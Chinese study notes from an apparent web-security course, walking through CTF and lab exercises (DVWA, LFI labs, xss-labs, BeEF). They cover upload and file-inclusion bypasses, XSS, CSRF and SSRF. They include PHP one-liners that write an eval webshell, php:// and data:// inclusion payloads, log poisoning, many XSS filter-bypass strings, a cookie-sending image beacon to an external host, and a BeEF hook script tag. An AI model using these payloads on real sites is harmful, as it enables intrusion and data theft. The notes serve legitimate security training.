- 把 save_name 作为数组 save_name[]
- 第一个元素 写 margin.php(后面不行,因为有 end_file 校验后面的字符,所以放在前面)
- {“0”:”margin.php”,”1”:””,”2”:”jpg”} 理论上是这样,但是读到1就不行了
- php 有一个特性,如果是 0,1,2;但是你只写了0,2,就会把1的位置读为空
- 这样margin.php. 就传上去了,加上windows特性,省略最后一个 .
- 所以第一个改为xxx.php,第二个数组下标改为2,内容为jpg 就可以了
文件包含漏洞
==文件包含产生的原因==
- 文件包含函数
- include
- include_once
- require
- require_once
- highlight_file、show_source、readfile、file_get_contents、fopen、file
- 文件包含分类
- 本地文件包含
- 远程文件包含
- allow_url_fopen: 为 on 时,能远程读取文件,例如 file_get_contents() 就能读远程文件
- allow_url_include: 为 on 时,就可使用 include 和 require 等方式包含远程文件
==文件包含漏洞利用方式==
- include:包含文件有错误,php代码继续执行;有返回值
- require:包含文件有错误,停止执行;无返回值
- once 是只包含一次
- 伪协议:php 为了读取http的请求参数或数据流等,通过伪协议的方式进行处理。
- file:// 读取绝对路径文件
- php://filter 数据流筛选过滤,再结合read 读
- php://input 模拟输入
- zip:// 打开压缩包文件
- 其他:
- 00 截断
- 长度截断:windows 256 linux:4096
- 包含日志文件:记录操作,比如写入木马会记入日志,然后包含一下
- 包含 session
==文件包含漏洞的防御==
- php 中使用 open_basedir 配置限制访问在指定的区域
- 过滤.(点)/(反斜杠)\(反斜杠)
- 禁止服务器远程文件包含
- 尽量不要使用 动态包含 , 可以在需要包含的页面固定写好
==简单文件包含==
- ?page=c:\boot.ini 发现可以包含(路径可以猜,或脚本爆破)
- 和上传的文件类型没有关系,啥也行,只要可以包含,包含里有合法代码,都可以带出来
==00截断包含==
- 包含了一个get参数:library,拼接了 php
- 不知道参数可以 网页查看源代码 input 里有参数名
- ?library=c:\boot.ini 显示不了,因为有 .php 拼接
- 可以使用 00 截断
- ?library=c:\boot.ini%00
- 看一下代码这样做是 include\c:\boot.ini%00
- 使用相对目录,发现可以
../../../webshell.php%00
==点加斜杠绕过==
- 在php 后面加 . 加 /. 试一下
php.
发现绕过了- . 自动抹去;\不让加
- 浏览器可能有缓存问题,抓包试一下
==去除后缀名绕过==
- addslashes() 过滤四个特殊字符转义
- 直接去掉后缀名即可
==双写绕过==
- 常规:?file=c://boot.ini 试一下
- 发现不行
- ../ 换成…/./
==文件包含写shell==
- LFI-6:Enable Post data
- page=boot.ini 可以读取出来
- post 没法直接用菜刀连接,要加工一下。这个一句话木马会在服务器上动态写一个木马:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell]?>'))
. - 先新建一个 image.php;内容为上面的语句,然后包含该文件,这样对应目录下应该就自动生成了 shell.php
==文件包含小总结==
- LFI 7 -10
- 查看网页源代码,参数为 library
- 再 post 体中尝试上传:
library = ../../phpinfo.php
- LFI-7: 删掉 php 加 00截断,加点,深入路径。发现
../../../phpinfo.php%00
可以
- LFI -8 : Post 提交 http://www.lif.com/LFI-3/?file=../../phpinfo.php%00 或者 phpinfo.php/.
- LFI-9: Post 提交 class = ../../../../../phpinfo
- LFI-10: post 提交 file = …/./…/./…/./phpinfo.php
- LFI-11: POST: stylepath=../../phpinfo.php 隐藏的输入框,有两个参数,都试一下,看看哪个可以就可以
- LFI-12: GET: stylepath = ../../phpinfo.php 隐藏的输入框
- LFI-13:get 方式: file=…/./…/./…/./phpinfo.php
- LFI-14: POST 方式:file=…/./…/./…/./phpinfo.php
==包含日志文件获取 webshell==
- 前提:有漏洞;知道日志漏洞
- LFI-1
1 | -)日志默认路径(1) apache+Linux日志默认路径 |
- 本题建了一个虚拟主机,所以路径变了
?page=C:\phpStudyB\Apache\logs\dummy-host2.asdf-access.log
- 这样获取了日志,下一步要将木马传入日志文件。
http://www.lfi.com/LFI-1/<?php phpinfo();?>
- 写进去了,但是没执行。因为浏览器自动会将尖括号等转码
- 利用 bp 传即可
- 找日志相对路径也可以,但是要知道日志的名字;理论上来说比较困难。
==通过php_filter获取tag==
http://www.lfi.com/php/php_filter.php
- 点击页面的超链接
http://www.lfi.com/php/php_filter.php/?file=flag.php
- 利用filter读取后台文件
http://www.lfi.com/php/php_filter.php/?file=php://filter/read=convert.base64-encode/resource=php_filter.php
- 使用 bp
- 发现里面有一个页面 是 flag.php
- 这样就找到了flag
- ctfbugku.com 里 找到 flag 在 index 里 这道题
==php_input 命令执行及获取webshell==
http://www.lfi.com/php/php_input.php
http://www.lfi.com/php/php_filter.php?file=php://input
, post data 填写:- 发现存在该漏洞
- post data 换成:
- 找到目录,有一个 flag.php 比较敏感
- 利用语句:
<?php fputs(fopen("shell.php","w"),‘<?php eval(_$POST[margin]);?>’);?>
. POST DATA 换成他 - 提交,用菜刀连接
==php 压缩协议获取 webshell==
- http://www.lfi.com/php/php_zip.php
- 点击超链接,出现一个上传文件框
- 随便上传带backdoor.php的压缩文件后,显示了绝对路径,zip需要绝对路径
http://www.lfi.com/php/php_zip.php?file=zip://C:\phpstudyB\xxxxx\uploads\xxxxx.zip%23backdoor.php
- 发现不能用菜刀连接
- 但是这个源代码自动拼接了.php,所以注入时删掉 后缀就行了
- 这个协议不管你上传的后缀名,所以你上传 .jpg,只要它本身是zip就可以使用
==php_data 协议获取 webshell==
http://www.lfi.com/php/php_data.php?file=data://text/plain,<?php phpinfo();?>
http://www.lfi.com/php/php_data.php?file=data://text/plain,base64,木马的base64转码
传webshell 就用这句话
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell]?>'))
.
==利用操作系统进行文件包含==
- LFI-1
- 代码改成了,自动加后缀.html
- 原来的思路是00截断,但是 5.3 以后就用不了了。
- 使用 linux 和 windows 的特性绕过
- . 加256个可以省略后面的 – win
- . 加4096 个 – linux
XSS
==XSS 漏洞原理==
XSS 跨站脚本攻击定义
XSS 是指攻击者利用网站程序对用户 输入过滤不足,输入可以显示在页面上对其他用户造成影响的 HTML 代码,从而 盗取用户资料、利用用户身份进行某种动作或者对访问者 进行病毒侵害 的一种攻击方式。为了与层叠样式表(Cascading Style Sheets)的缩写 CSS 区分开,扩展脚本攻击通常简写为(Cross Site Scripting) XSS。
1 |
|
- 代码的主要作用是获取用户输入的参数作为用户名,并在页面中显示 “welcome,XXX”的形式。
- XSS跨站脚本攻击类型:
反射型:类似可以返回
存储型:可以保存在目标服务器当中
DOM型:XSS代码影响DOM树结构
反射型 XSS
- 只是简单地将用户输入的数据直接或未经过完善的 ==安全过滤==就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于 URL 中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
- 根据源代码 闭合
- 嵌入 iframe(点击劫持、钓鱼等)
- 把真正的钓鱼隐藏,你点击正常网站,实际点击的钓鱼连接
- 只是简单地将用户输入的数据直接或未经过完善的 ==安全过滤==就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于 URL 中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
存储型 XSS
- 存储型 XSS 脚本攻击是指由于 Web 应用程序对用户输入数据的不严格,导致 Web 应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件格式中,当网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,进而导致跨站脚本代码的执行。
- 存储型 XSS 脚本攻击最为常见的场景就是在留言板、博客或新闻发布系统中,恶意代码的数据信息直接写入文章、评论、留言中,浏览时即会执行相应的脚本代码。
DOM 型 XSS
基于 DOM 的XSS 跨站脚本攻击是通过修改页面 DOM 节点数据信息而形成的 XSS 跨站脚本攻击。不同于反射型 XSS 和存储型 XSS,基于 DOM 的 XSS 跨站脚本攻击往往需要针对具体的 JavaScript DOM 代码进行分析,并根据实际情况进行 XSS 跨站脚本攻击的利用。
str 没有过滤,可以在其中输入攻击代码
- XSS 跨站脚本攻击方式&实例
- XSS 盗取用户信息
- XSS 盗取Cookie
- XSS 钓鱼攻击
- XSS 蠕虫攻击
- 浏览器的同源策略
- 相同协议
- 相同域名
- 相同端口
- 跨域提交
- img=new Image();
- img.src=”http://www.xxx.com/get.asp?message="+msg;
- 如何诱骗对方?
- URL变形?
- 短链接变形?
- 隐藏在其他页面中?
- ……
- XSS 蠕虫主要发生在 用户之间存在交互行为的页面中,当 WEB 应用程序对用户输入的数据信息没有做严格的过滤时,通过结合 Ajax 的异步提交,就可以实现在植入恶意代码的同时,将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了 XSS 蠕虫。
- XSS 各类型实验
DVWA :默认 admin password
DOM 型 - LOW
- 通过 JS 代码 改变 DOM 树结构
- 该页面有一个下拉列表,思考对应页面如何来
- 看 F12 Network 里的 Ajax(XHR), 发现没有 Ajax 。
- 有可能是选了内容,直接返回,而不是 Ajax 异步请求。
- 发现其中取默认值的地方,没有做校验
decodeURI(lang)
,在这里可以任意插入 js 代码。 - 发现浏览器自动做了html编码,更换了浏览器发现弹框可以出现了。
Reflected 型 - LOW
- 一个输入框,任意输入后我们检查一下回显
- 发现输入内容是可控的,我们输入 JS 弹框代码,可以弹框
Stored 型 - LOW
- 一个留言板,加入 JS 代码,发现可以弹框
XSS 平台(xsshs.cn)
- 开源平台
- 利用这个平台保存获取的cookie等信息
==XSS 平台的使用==
XSS Platform
- 键盘记录
- 截屏 - base64编码的,输入浏览器可看
- xss.js 与其他模块的配合
- ……
BEEF
目录:
cd /usr/share/beef-xss
需要配置 config.yaml,使用 vim 进入 改一下 host
两种运行的模式
```shell
./beef # 1. 在软件根目录下运行 beef 文件,使用此方法会打印日志,比较方便
service beef-xss start # 2. 使用service 命令1
2
3
4
5
6
7
8
9
* 默认 beef : beef
* 其中 里面有一个 hook.js 的文件
* 将这个 URL 放到有漏洞的页面中
```html
<script src="http://192.168.1.66:3000/hook.js"> # 若有前端长度限制,可以进代码改一下
一般用绿色和橙色的
XssRays:检测连接等有没有xss
Rider:允许发送http 请求
Network:显示网络拓扑
打开 Commands 里的绿色模块,进行攻击
Exploits 一般用在溢出;
==XSS 代码审计及绕过==
==XSS漏洞环境说明==
- Level 1
- 回显用户名,尝试改变此用户名,发现可以改变,换成 JS 代码
- name=
- level 2
- 换成了搜索框,输入内容发现显示”没有找到xxx的结果“
- 查看源代码,改变 成alert,发现被当成了字符串
- 尝试闭合 value,
" <script>alert()</script>"
- 提交后发现 alert()没有被注释
- 输入源代码,发现搜索框中 还是显示了字符串,再看源代码
- input 包含了 script,加个 > 再次尝试逃逸。
- 发现成功。
==XSS 事件触发绕过==
- Level 3
- 搜索框输入 margin,
https://127.0.0.1/xss_vuln/level3/php?writing=Margin
- 显示
没有找到和Margin相关的结果
- 搜索框输入
<script>alert()</script>
- 显示
没有找到和<script>alert()</script>相关的结果
- 低版本火狐源代码可以通过地址栏输入 view-source: URL 来显示修改
- 查看源代码,发现尖括号被过滤了
- 用单引号逃逸 value,添加事件绕过过滤
' onclick='alert()'
- 发现成功
==XSS 语法逃逸==
- level4
- 同样用alert试一下,查看源代码
- 发现尖括号都被过滤了
- 先用双引号逃逸(代码用的双引号),然后使用事件逃逸,后面再加个双引号,闭合后面的双引号
- 发现成功,只是和第四关比,单引号变成了双引号…
==XSS 白名单绕过==
- level 5
- 同上尝试查看源代码
- 把script替换成 scr_ipt
- 利用上面的思路,闭合+事件的思路
- 发现把on 替换成 o_n
- 尝试 a 标签绕过
"><a href="javascript:alert()">a</a>
- 然后点击页面中的 a
==href 属性绕过==
- level 6
- 第一步尝试alert() 查看源代码
- 发现 script 被替换,使用 a href 也被替换了,onclick 也替换了
- 使用大小写绕过 hRef , 发现可以
==xss双写绕过==
- level 7
- 同上进行尝试,发现script整个消失了
- href也被吃掉了
- scrscriptript 双写绕过 oonnclick
- 发现可以了
==HTML 实体编码绕过==
- Level 8
- 随便输入一个 1111 添加友情链接,看源代码
- 发现是href 改变了
- javascript:alert()被替换了
- 试一下其他的 onclick,href ,script都被过滤了,大小写,双写都不行
- C;使用html变为ascii码 67 是小写 a
- 但是直接在源代码里改,不会变,因为浏览器自动转变了,# 会被解析为锚点
- 在输入框里改,发现成功
==特殊场景逻辑绕过==
- level 9
- 输入显示一个提示:您的连接不合法,如果换成URL就不提示了
- javascript:alert();http://baidu.com
- 发现被过滤,双写大小写失败
- 使用ascii码绕过
- 然后从F12,显示语法有错误
- 可以双引号包裹,或者// 单行注释
- 发现可以
==利用隐藏字段绕过==
- level 10
- 输入常见的alert() , 看到源代码里有三个 type=“hidden”
- 这三个都试一下,看看哪个真正起作用
?/t_link=t_link&t_history=t_history&t_sort=t_sort
- 发现只有 t_sort 起作用,对 t_sort 做一个 alert()
- 发现 尖括号 被去掉了;再试一下闭合
" onclick=”alert()">
, 也要用 >把 hidden 隐去,这样 才能显示点击 - 但是提示语法错误,可以运行完代码,F12 把 hidden 删除。
- 或者 > 使用 html 编码绕过,但是直接输入不行,需要构造一个表单
- 尝试失败,可以在 type=”hidden”, 前面加一个 type =”text”, 这样就可以绕过了,利用html 的特性
- 或者可以直接 // 注释,默认解析是 text(但是这个题不行)
==HTTP 头部 XSS==
- level 11
- 发现多了一个 t_ref ,看代码 是从上一跳过来的,需要用 bp 改一下
- 需要从 10 到 11 的过程中改
- 在 Referer 中:
" onclick="alert()" type="text
- 实际 XSS 中很少有 Referer 的
- level 12
- userAgent
- Level 13
- Cookie
==Angular.js 绕过==
- level 14 有问题
- level 15(引用的库可能加载不出来)
- 有一个 ng-include=”1.png”
- 这个方法引用了一个地址,且是可控的比较危险
?src=level1.php?name=<script>alert()</script>
- 发现被尖括号转义了
- 使用 img 标签
?src='level1.php?name=<img src=1 onerror=alert()>'
- 发现成功,记住 语法需要“‘’” 双引号包裹单引号
==利用 HTML 语法特性绕过==
level 16
改成 alert(),发现script 被过滤成空格,img 可以不过滤
但是 img 之间的空格被变成了
html 只看 <>
把空格改成换行
空格使用 %0a 即可,发现成功
==可控变量绕过==
- level 17
- 看源代码,发现插入了一个 flash,改变参数试一下,发现a可以变为aa,说明可控
?arg01=aa&arg02=bb onmouseover=alert()
- level 18
- 一样看源代码,使用上次的 payload 发现可以通过
==XSS绕过实验一==
DVWA Medium
XSS(DOM)
加一个 alert(), 发现没变化
换成 img 没变,后台可能过滤 script
<img src=1 onerror=alert()>
查看元素
发现被当作字符串了,逃逸出来
```html
“><”
1
2
3
4
5
6
7
* 发现特殊字符已经被转义过了,没反应
* option 和 select 会自动忽略 img 标签,所以要闭合这两个标签
```html
</option></select><img src = 1 onerror=alert()>成功
或者换成
# <script>alert()</script>
XSS(Reflected)
输入 alert(),发现 script 被吃掉了
大小写发现可以绕过,双写也可以,img也可以
XSS(Stored)
输入alert(),发现被过滤,其他都试一下,都被过滤了
message不行试一试name,发现 img 没过滤;script 发现有长度限制,前端修改下/bp修改,发现 script 被过滤
==XSS绕过实验二==
- DVWA-High
- XSS-DOM
?default=English#<script>alert()</script>
, 和上面的类似- XSS-Reflected
- 发现script被吃掉,img没有
- 成功
- XSS-Stored
- message 被过滤,name 没过滤,img onerror 即可
XSS 防御
手段
- 客户端用户
- 使用高版本浏览器
- Firefox 使用 CSP、NoScript 等扩展功能
- 个人安全软件
- Web 程序员
- 使用 HttpOnly
- 完善的输入、输出检查
HttpOnly
CSRF 跨站请求伪造
==介绍==
- 定义:全称 Cross-site Request Forgery ,即跨站请求伪造。定义为:攻击者在 ==一定的攻击条件== 下,==利用被攻击者的身份== 向服务器发起请求,服务器可以正常解析并 ==返回正确结果==。
- CSRF 发生的条件
- 被攻击者在 网站A 处于登录状态
- 必须要在 网站A 同浏览器中打开黑客提供的连接
- 后台身份验证不严格(例如除 Cookie 外无其他验证)
- CSRF 能做什么
- 发邮件
- 发消息
- 财产操作比如转账,或者购买商品
- 修改密码
- 删除文章
- CSRF 防御
==初体验==
- CSRF-Low
- 首先没有旧密码
- 写一个密码,看地址栏,这个是get型的,
- 访问自己搭建的黑客服务器的对应页面
- 这个页面直接把密码修改了
==CSRF-Referer 检测绕过==
- CSRF—Medium
- 用 low的试一下
- 发现这个校验了 Referer
==靶场实操 igaming==
- 写一个页面,直接在加载时就添加一个用户
==靶场实操 ESPCMS-CSRF==
- 类似上面的
SSRF 漏洞原理 + 实战
==介绍==
什么是 SSRF?
能够对外发送网络请求的点都有可能存在 SSRF 漏洞
SSRF(Server-side Request Forgery: 服务器端请求伪造)是一种由 ==攻击者伪造== 形成 ==由服务端发起== 请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够 ==请求到== 与它相连而 ==与外网隔离的内部系统==)
- SSRF 漏洞的危害
- 对目标服务器所在的内网进行 IP 存活性扫描和端口扫描
- 利用扫描的指纹信息判断开放的服务,从而对内网的主机进行攻击
- 识别内网 WEB 应用指纹,判断应用类型进行攻击
- 使用特定协议攻击应用(gopher、dict、file、FTP/SFTP等)
- 引发SSRF漏洞的函数
- file_get_contents()
- 获取本地、远程请求(这样就发送了http请求)
- fsockopen()
- 发起网络请求
- curl_exec()
- 最重要的
- file_get_contents()
- SSRF 漏洞的业务场景
- 分享:通过 URL 地址分享网页内容
- 转码服务(手机适配)
- 在线翻译
- 图片加载与下载:通过 URL 地址加载或下载图片
- 图片、文章收藏功能
- 未公开的 api 实现以及其他调用 URL 的功能
- 从 URL 关键字中寻找(share、wap、url、link、src、source、target、sourceURI、imageURL、domain)
==课程环境搭建==
(略)
==使用 gopher 协议发送 get 请求==
==SSRF 漏洞的绕过方法==
- 利用 Enclosed alphanumerics